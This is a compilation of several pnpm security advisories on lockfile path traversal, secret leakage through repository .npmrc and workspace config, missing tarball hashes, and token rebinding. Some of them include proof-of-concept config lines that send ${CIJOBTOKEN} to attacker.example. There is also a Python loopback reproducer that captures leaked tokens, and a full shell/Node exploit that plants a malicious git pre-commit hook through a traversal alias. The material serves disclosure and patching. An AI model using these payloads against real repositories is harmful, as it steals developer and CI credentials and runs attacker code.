pnpm is a package manager. Prior to 10.34.4 and 11.8.0, pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under nodemodules/.pnpm-config. A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name. This vulnerability is fixed in 10.34.4 and 11.8.0.
pnpm is a package manager. Prior to 10.34.4 and 11.7.0, a crafted lockfile alias could be joined directly under a hoisted nodemodules directory. Traversal aliases could escape that directory, while reserved aliases such as .bin or .pnpm could overwrite pnpm-owned layout. This vulnerability is fixed in 10.34.4 and 11.7.0.
pnpm is a package manager. Prior to 10.34.4 and 11.7.0, a crafted patch entry could resolve outside the configured patches directory and cause pnpm patch-remove to delete an arbitrary reachable file. This vulnerability is fixed in 10.34.4 and 11.7.0.
<!-- maintainer-action:start --> Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
- Advisory: CAND-PNPM-122 / GHSA-3qhv-2rgh-x77r - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: security/ghsa-batch-2026-06-09 - Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22 - Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec - Maintainer priority: start-here - Component: pnpm config/env replacement and registry auth - Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations - Affected packages: npm:pnpm, npm:@pnpm/config.reader, rust:pacquet - CWE IDs: CWE-201, CWE-200, CWE-522 - Conservative CVSS: 6.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
Expected Patched Behavior
Project .npmrc environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.
Files And Tests To Review
- config/reader/src/loadNpmrcFiles.ts - config/reader/src/getOptionsFromRootManifest.ts - config/reader/test/index.ts - config/reader/test/getOptionsFromRootManifest.test.ts - pacquet/crates/config/src/npmrcauth.rs - pacquet/crates/config/src/npmrcauth/tests.rs - pacquet/crates/config/src/workspaceyaml.rs - pacquet/crates/config/src/workspaceyaml/tests.rs - .changeset/sharp-registry-env-placeholders.md
Focused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
bash ./nodemodules/.bin/tsgo --build config/reader/tsconfig.json NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .undefined. fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./nodemodules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinscopedregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinurlscopedkeys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinauthvalues --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trustediniexpandsenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignoresenvvarsinsideworkspaceregistryvalues --lib git diff --check cargo fmt --check
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-122-patched-result.json. <!-- maintainer-action:end -->
CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run
Advisory Details
Summary
pnpm and pacquet expanded ${ENVVAR} placeholders from repository-controlled .npmrc and pnpm-workspace.yaml into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.
Details
The vulnerable TypeScript pnpm path was:
- config/reader/src/loadNpmrcFiles.ts loaded project .npmrc and substituted environment placeholders in keys and values. - config/reader/src/getOptionsFromRootManifest.ts substituted environment placeholders inside workspace registry, registries, and namedRegistries settings. - config/reader/src/index.ts merged those expanded registry/auth values into pnpmConfig.registries, pnpmConfig.authConfig, and pnpmConfig.configByUri. - resolving/npm-resolver/src/fetch.ts built metadata request URLs from the selected registry. - network/fetch/src/fetchFromRegistry.ts dispatched the request and attached matching auth headers before install lifecycle scripts could run.
The pacquet parity path was:
- pacquet/crates/config/src/npmrcauth.rs expanded project .npmrc placeholders while parsing registry URLs and auth values. - pacquet/crates/config/src/workspaceyaml.rs expanded workspace registry placeholders. - pacquet/crates/resolving-npm-resolver/src/fetchfullmetadata.rs used the configured registry URL and AuthHeaders for metadata fetches.
PoC
Repository .npmrc URL-path exfiltration:
ini registry=https://attacker.example/${CIJOBTOKEN}/
Repository .npmrc auth-header exfiltration:
ini registry=https://attacker.example/ //attacker.example/:authToken=${CIJOBTOKEN}
Repository pnpm-workspace.yaml URL-path exfiltration:
yaml registries: default: https://attacker.example/${CIJOBTOKEN}/ namedRegistries: work: https://attacker.example/${CIJOBTOKEN}/npm/
Exploit method:
1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with CIJOBTOKEN or another sensitive environment variable present. 2. Before the patch, repository config expanded the placeholder to the victim secret. 3. The resolver used the expanded registry or matching auth entry to construct a metadata request. 4. The victim sent a request such as https://attacker.example/<secret>/<package> or Authorization: Bearer <secret> to the attacker-controlled endpoint.
Validation PoC:
The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.
Impact
A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.
Affected Products
Ecosystem: npm
Package name: pnpm, @pnpm/config.reader; pacquet Rust port
Affected versions: current main before this patch, when project .npmrc or pnpm-workspace.yaml contains environment placeholders in registry request destinations or project .npmrc contains environment placeholders in registry credential values.
Patched versions: pending release containing this patch.
Severity
Severity before patch: High
Vector string before patch: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Score before patch: 7.4
Severity after patch: None
Vector string after patch: not vulnerable after patch
Score after patch: 0.0
Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands.
Weaknesses
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CWE-522: Insufficiently Protected Credentials
Patch
The patch makes environment expansion trust-aware for registry requests:
- Project .npmrc no longer expands ${...} in registry, @scope:registry, proxy URL values, URL-scoped keys such as //host/${SECRET}/:authToken, or registry credential values such as //host/:authToken=${SECRET} and authToken=${SECRET}. - User .npmrc, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration. - pnpm-workspace.yaml no longer expands ${...} in registry, registries, or namedRegistries URL values. - Trusted user-level auth values such as //registry.npmjs.org/:authToken=${NODEAUTHTOKEN} still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the .npmrc is supplied as user config. - Pacquet mirrors the same boundary with fromprojectini() for project .npmrc and workspace registry filtering.
Changed files:
- config/reader/src/loadNpmrcFiles.ts - config/reader/src/getOptionsFromRootManifest.ts - config/reader/test/index.ts - config/reader/test/getOptionsFromRootManifest.test.ts - pacquet/crates/config/src/npmrcauth.rs - pacquet/crates/config/src/npmrcauth/tests.rs - pacquet/crates/config/src/workspaceyaml.rs - pacquet/crates/config/src/workspaceyaml/tests.rs
Changeset:
- .changeset/sharp-registry-env-placeholders.md
Pacquet parity:
Ported in the same patch. Pacquet dependency-management commands now parse project .npmrc with request-destination and credential-value env expansion disabled, and drop workspace registry values containing ${...} placeholders.
Verification
Post-patch validation:
The PoC ran:
bash ./nodemodules/.bin/tsgo --build config/reader/tsconfig.json NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand NODEOPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../nodemodules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .undefined. fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ./nodemodules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinscopedregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinurlscopedkeys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml projectiniignoresenvplaceholdersinauthvalues --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trustediniexpandsenvplaceholdersinregistryurls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignoresenvvarsinsideworkspaceregistryvalues --lib git diff --check
Results:
- PoC pre-patch model showed cand122-ci-job-token in both a request URL and a bearer auth header. - TypeScript build for config.reader: passed. - Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial. - Focused config-reader integration tests: 10 passed, covering project .npmrc default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user .npmrc registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial. - cargo fmt --check: passed. - Focused pacquet tests: 6 passed, covering project .npmrc registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted .npmrc registry expansion, and workspace YAML denial. - git diff --check: passed.
CVSS Reassessment
The initial scan score used a repository-code-execution vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (8.8 High)
The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Corrected vulnerable score: 7.4 High.
Final score after patch: 0.0.
Summary
A malicious codeload.github.com server can serve whatever tarball it wants and pnpm will install it regardless of the lockfile.
Details
The lockfile does not store the hash of the dependencies from https://codeload.github.com
This means that if this server was compromised or a person's machine configuration was compromised, pnpm would download and install these dependencies.
PoC
sh pnpm -v 10.28.2
Given the following package.json:
json { "dependencies": { "add": "git://github.com/dsherret/npm-git-dep.git#b3eeb9b" } }
This produces a lockfile like so:
yaml lockfileVersion: '9.0'
settings: autoInstallPeers: true excludeLinksFromLockfile: false
importers:
.: dependencies: add: specifier: git://github.com/dsherret/npm-git-dep.git#b3eeb9b version: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b
packages:
add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: resolution: {tarball: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b} version: 1.0.0
snapshots:
add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: {}
Notice that there is no hash. The b3eeb9b is not sufficient because I can configure my machine to resolve a compromised tarball from that url (I tested it out and pnpm just installs it).
Impact
Anyone relying on github git dependencies.
Summary
pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local .npmrc file.
In the reproduced case, the user's npm config contains a default registry and an unscoped authToken. The repository does not provide a token-bearing auth line. It only sets registry= to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an Authorization header.
This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used.
Affected Behavior Observed
Observed affected:
- pnpm 10.33.2: pnpm install --ignore-scripts sends the user-level unscoped authToken to the repository-selected registry. - pnpm 11.1.3: pnpm install --ignore-scripts sends the user-level unscoped authToken to the repository-selected registry. - pnpm 11.2.1 (next-11 dist tag at testing time): pnpm install --ignore-scripts sends the user-level unscoped authToken to the repository-selected registry. - pnpm 11.1.3: pnpm view also sends user-level unscoped authToken, auth, and username / password credentials to the repository-selected registry in the local loopback replay.
Control:
- npm 10.9.7 rejects the same unscoped user authToken configuration with ERRINVALIDAUTH and does not send an Authorization header to the repository-selected registry. - URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry.
Threat Model
Victim:
- developer or CI job with user-level npm registry credentials configured; - runs pnpm install, pnpm view, or an equivalent pnpm metadata/restore command in a repository.
Attacker:
- controls repository-local package manager configuration, such as .npmrc; - can set registry= to a registry endpoint they control; - does not need to provide a token-bearing auth line for the strong case.
Boundary:
Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.
Minimal Reproduction
The reproducer below starts two loopback HTTP registries:
- a trusted registry URL used in the isolated user .npmrc; - an attacker registry URL used in the repository-local .npmrc.
The isolated user .npmrc contains:
ini registry=<trusted-loopback-registry> authToken=PR166FAKEREGISTRYTOKEN
The repository-local .npmrc contains:
ini registry=<attacker-loopback-registry>
The repository package.json depends on a toy package served by the loopback registry. The script then runs:
text pnpm install --ignore-scripts npm install --ignore-scripts
Expected Safe Behavior
pnpm should not send the user-level unscoped authToken to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.
Observed Behavior
pnpm 10.33.2, pnpm 11.1.3, and pnpm 11.2.1 send:
http Authorization: Bearer PR166FAKEREGISTRYTOKEN
to the attacker loopback registry during install. npm 10.9.7 rejects the same config and sends no Authorization header.
Security Impact
This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.
Non-Claims
This report does not claim:
- remote code execution; - registry account compromise by itself; - leakage of URL-scoped tokens for a different registry; - npm CLI impact; - impact from a repository explicitly committing its own token-bearing auth line.
Source-Level Notes
In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local .npmrc can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.
Suggested Fix Direction
The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped credentials.
This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.
Runnable Reproducer
Save the following as repro.py and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set PR166PNPMSPEC, for example PR166PNPMSPEC=11.2.1.
python import base64 import contextlib import hashlib import http.server import io import json import os import shutil import subprocess import sys import tarfile import tempfile import threading from pathlib import Path
"""Standalone loopback reproducer.
It creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()). """
TOKEN = "PR166FAKEREGISTRYTOKEN" PACKAGETGZ = None
class RegistryHandler(http.server.BaseHTTPRequestHandler): requests = []
def doGET(self): self.requests.append( { "method": self.command, "path": self.path, "authorization": self.headers.get("Authorization"), } ) if self.path.endswith(".tgz"): payload = makepackagetgz() self.sendresponse(200) self.sendheader("Content-Type", "application/octet-stream") self.sendheader("Content-Length", str(len(payload))) self.endheaders() self.wfile.write(payload) return
payload = makepackagetgz() body = json.dumps( { "name": "@private/probe", "dist-tags": {"latest": "1.0.0"}, "versions": { "1.0.0": { "name": "@private/probe", "version": "1.0.0", "dist": { "tarball": f"http://127.0.0.1:{self.server.serverport}/private/@private/probe/-/probe-1.0.0.tgz", "shasum": hashlib.sha1(payload).hexdigest(), "integrity": "sha512-" + base64.b64encode(hashlib.sha512(payload).digest()).decode("ascii"), }, } }, } ).encode("utf-8") self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)
def logmessage(self, fmt, args): return
@contextlib.contextmanager def registry(): handler = type("RecordingRegistryHandler", (RegistryHandler,), {"requests": []}) server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler) thread = threading.Thread(target=server.serveforever, daemon=True) thread.start() try: yield server, handler.requests finally: server.shutdown() thread.join(timeout=5) server.serverclose()
def makepackagetgz(): global PACKAGETGZ if PACKAGETGZ is not None: return PACKAGETGZ bio = io.BytesIO() with tarfile.open(fileobj=bio, mode="w:gz") as tf: data = b'{"name":"@private/probe","version":"1.0.0"}\n' info = tarfile.TarInfo("package/package.json") info.size = len(data) tf.addfile(info, io.BytesIO(data)) PACKAGETGZ = bio.getvalue() return PACKAGETGZ
def writetext(path, text): path.parent.mkdir(parents=True, existok=True) path.writetext(text, encoding="utf-8", newline="\n")
def runinstall(tool, trustedurl, attackerurl): exe = shutil.which(tool) if exe is None: return {"tool": tool, "error": "missing"} cmd = [exe, "install", "--ignore-scripts"] if tool == "pnpm" and os.environ.get("PR166PNPMSPEC"): corepack = shutil.which("corepack") if corepack is None: return {"tool": tool, "error": "corepack missing"} cmd = [corepack, f"pnpm@{os.environ['PR166PNPMSPEC']}", "install", "--ignore-scripts"]
with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td: root = Path(td) home = root / "home" project = root / "project" home.mkdir() project.mkdir() userconfig = home / ".npmrc"
writetext(userconfig, f"registry={trustedurl}\nauthToken={TOKEN}\n") writetext(project / ".npmrc", f"registry={attackerurl}\n") writetext( project / "package.json", '{"name":"pr166-probe","version":"1.0.0","dependencies":{"@private/probe":"1.0.0"}}\n', )
env = os.environ.copy() env.update( { "HOME": str(home), "USERPROFILE": str(home), "NPMCONFIGUSERCONFIG": str(userconfig), "npmconfiguserconfig": str(userconfig), "NPMCONFIGCACHE": str(home / "cache"), "npmconfigcache": str(home / "cache"), "NPMCONFIGSTOREDIR": str(home / "store"), "npmconfigstoredir": str(home / "store"), "XDGCACHEHOME": str(home / "xdg-cache"), "XDGDATAHOME": str(home / "xdg-data"), "NOCOLOR": "1", } )
proc = subprocess.run( cmd, cwd=str(project), env=env, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=60, ) return {"tool": tool, "returncode": proc.returncode, "outputtail": proc.stdout[-2000:]}
def summarize(tool, result, attackerrequests): authhits = [r for r in attackerrequests if r.get("authorization")] return { "tool": tool, "result": result, "attackerauthhits": authhits, "attackerrequestcount": len(attackerrequests), }
def toolversion(tool): exe = shutil.which(tool) if exe is None: return "missing" cmd = [exe, "--version"] if tool == "pnpm" and os.environ.get("PR166PNPMSPEC"): corepack = shutil.which("corepack") if corepack is None: return "corepack missing" cmd = [corepack, f"pnpm@{os.environ['PR166PNPMSPEC']}", "--version"] proc = subprocess.run( cmd, text=True, encoding="utf-8", errors="replace", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=20, ) return proc.stdout.strip() or f"exit-{proc.returncode}"
def main(): pnpmversion = toolversion("pnpm") npmversion = toolversion("npm") print(f"TARGETVERSION=pnpm {pnpmversion}; npm {npmversion}") if pnpmversion == "missing" or npmversion == "missing": print("CHECK environmenthaspnpmandnpm result=fail") return 1
print("ENVIRONMENTREADY") overall = [] with registry() as (trusted, trustedrequests), registry() as (attacker, attackerrequests): trustedurl = f"http://127.0.0.1:{trusted.serverport}/private/" attackerurl = f"http://127.0.0.1:{attacker.serverport}/private/"
before = len(attackerrequests) pnpmresult = runinstall("pnpm", trustedurl, attackerurl) pnpmsummary = summarize("pnpm", pnpmresult, attackerrequests[before:]) overall.append(pnpmsummary)
before = len(attackerrequests) npmresult = runinstall("npm", trustedurl, attackerurl) npmsummary = summarize("npm", npmresult, attackerrequests[before:]) overall.append(npmsummary)
print(json.dumps(overall, indent=2))
pnpmleaked = bool(overall[0]["attackerauthhits"]) npmleaked = bool(overall[1]["attackerauthhits"]) print(f"OBSERVEDPNPMAUTHHITS={len(overall[0]['attackerauthhits'])}") print(f"OBSERVEDNPMAUTHHITS={len(overall[1]['attackerauthhits'])}") print( "COMMANDEXITCODE=" f"pnpm:{overall[0]['result'].get('returncode', 'missing')} " f"npm:{overall[1]['result'].get('returncode', 'missing')}" ) if pnpmleaked and not npmleaked: print("CHECK pnpmleaked=true npmcontrolheld=true result=pass") print("VULNERABLEBEHAVIORCONFIRMED") print("RESULTPNPMREBINDSUNSCOPEDUSERTOKENNPMCONTROLHELD") print("RESULTSECURITYBOUNDARYBYPASSCONFIRMED") return 0 if pnpmleaked and npmleaked: print("CHECK pnpmleaked=true npmcontrolheld=false result=fail") print("RESULTBOTHTOOLSSENTAUTH") return 2 print("CHECK pnpmleaked=false result=fail") print("RESULTNOPNPMAUTHLEAK") return 1
if name == "main": sys.exit(main())
Abbreviated Expected Output
text TARGETVERSION=pnpm 11.2.1; npm 10.9.7 ENVIRONMENTREADY ... OBSERVEDPNPMAUTHHITS=3 OBSERVEDNPMAUTHHITS=0 COMMANDEXITCODE=pnpm:0 npm:1 CHECK pnpmleaked=true npmcontrolheld=true result=pass VULNERABLEBEHAVIORCONFIRMED RESULTPNPMREBINDSUNSCOPEDUSERTOKENNPMCONTROLHELD RESULTSECURITYBOUNDARYBYPASSCONFIRMED
Reporter: JUNYI LIU
Summary
pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.
.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:
- .husky or .githooks for Git hook dispatchers - scripts/, tools/, bin/, or tests/ for project scripts and CI commands - .github/actions/<name> for local GitHub Actions used later in the workflow - dist/ or other publish/build output directories before pnpm pack or pnpm publish - nodemodules/.bin or undeclared nodemodules/<name> paths used by later command or module resolution
Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.
This was reproduced with pnpm@11.2.1.
Impact
Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.
Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.
Root Cause
pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination nodemodules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended nodemodules directory.
Conceptually, a transitive alias like this:
json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }
is eventually treated like:
text path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")
The normalized destination escapes the dependency's nodemodules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.
The dependency chain is:
text victim installs normal@1.0.0 normal@1.0.0 -> bad@1.0.0 bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias
The malicious transitive package metadata contains:
json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" }
Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.
Proof Of Concept
Run:
sh ./run.sh
sh #!/bin/sh set -eu
SCRIPTDIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORKDIR="$SCRIPTDIR/demo-workdir" REGISTRYDIR="$WORKDIR/registry" TARBALLSDIR="$REGISTRYDIR/tarballs" VICTIMDIR="$WORKDIR/victim" READYFILE="$WORKDIR/registry-ready" PORTFILE="$WORKDIR/registry-port"
rm -rf "$WORKDIR" mkdir -p "$REGISTRYDIR/payload-hooks" "$REGISTRYDIR/bad" "$REGISTRYDIR/normal" "$TARBALLSDIR" "$VICTIMDIR"
cat > "$REGISTRYDIR/payload-hooks/package.json" <<'JSON' { "name": "payload-hooks", "version": "1.0.0", "bin": { "pre-commit": "pre-commit" }, "files": [ "pre-commit" ] } JSON
cat > "$REGISTRYDIR/payload-hooks/pre-commit" <<'EOF' #!/bin/sh echo PWNED >&2 exit 0 EOF chmod +x "$REGISTRYDIR/payload-hooks/pre-commit"
cat > "$REGISTRYDIR/bad/package.json" <<'JSON' { "name": "bad", "version": "1.0.0", "description": "transitive registry package", "dependencies": { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } } JSON
cat > "$REGISTRYDIR/normal/package.json" <<'JSON' { "name": "normal", "version": "1.0.0", "description": "normal looking package from a registry", "dependencies": { "bad": "1.0.0" } } JSON
(cd "$REGISTRYDIR/payload-hooks" && npm pack --pack-destination "$TARBALLSDIR" --silent >/dev/null) (cd "$REGISTRYDIR/bad" && npm pack --pack-destination "$TARBALLSDIR" --silent >/dev/null) (cd "$REGISTRYDIR/normal" && npm pack --pack-destination "$TARBALLSDIR" --silent >/dev/null)
node - "$REGISTRYDIR" "$READYFILE" "$PORTFILE" <<'NODE' & const http = require('node:http') const fs = require('node:fs') const path = require('node:path') const { execFileSync } = require('node:childprocess')
const [registryDir, readyFile, portFile] = process.argv.slice(2) const tarballsDir = path.join(registryDir, 'tarballs')
function shasum (filename) { return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)]) .toString() .trim() .split(/\s+/) .pop() }
function integrity (filename) { return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)]) .toString('base64') }
function packument (pkgName, req) { const filename = ${pkgName}-1.0.0.tgz const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8')) const origin = http://${req.headers.host} return { name: pkgName, 'dist-tags': { latest: '1.0.0', }, versions: { '1.0.0': { ...manifest, dist: { tarball: ${origin}/${pkgName}/-/${filename}, shasum: shasum(filename), integrity: integrity(filename), }, }, }, } }
const server = http.createServer((req, res) => { const pathname = new URL(req.url, 'http://local.invalid').pathname if (req.method !== 'GET') { res.writeHead(405) res.end('method not allowed') return } if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') { const pkgName = pathname.slice(1) res.writeHead(200, { 'content-type': 'application/json' }) res.end(JSON.stringify(packument(pkgName, req))) return } const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/) if (tarballMatch) { const file = path.join(tarballsDir, tarballMatch[2]) res.writeHead(200, { 'content-type': 'application/octet-stream' }) fs.createReadStream(file).pipe(res) return } res.writeHead(404) res.end('not found') })
server.listen(0, '127.0.0.1', () => { fs.writeFileSync(portFile, String(server.address().port)) fs.writeFileSync(readyFile, 'ready') }) NODE REGISTRYPID=$! trap 'kill "$REGISTRYPID" 2>/dev/null || true' EXIT INT TERM
WAITCOUNT=0 while [ ! -f "$READYFILE" ]; do WAITCOUNT=$((WAITCOUNT + 1)) if [ "$WAITCOUNT" -gt 100 ]; then echo "local registry did not start" >&2 exit 1 fi sleep 0.05 done REGISTRYPORT=$(cat "$PORTFILE")
cd "$VICTIMDIR" git init -q git config user.email demo@example.invalid git config user.name "Demo User"
cat > package.json <<'JSON' { "name": "victim", "version": "1.0.0" } JSON
cat > .npmrc <<EOF registry=http://127.0.0.1:$REGISTRYPORT/ EOF
printf 'pnpm: ' pnpm --version printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRYPORT" printf 'victim: %s\n\n' "$VICTIMDIR"
pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent
echo 'trigger commit' > change.txt git add change.txt
set +e COMMITSTDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null) COMMITSTATUS=$? set -e
printf '\ngit commit exit code: %s\n' "$COMMITSTATUS" printf 'git commit stderr:\n%s\n' "$COMMITSTDERR"
The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs normal@1.0.0 with --ignore-scripts, and then triggers git commit.
Requirements:
text pnpm npm node git openssl
Expected output:
text git commit exit code: 0 git commit stderr: PWNED
PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.
Summary
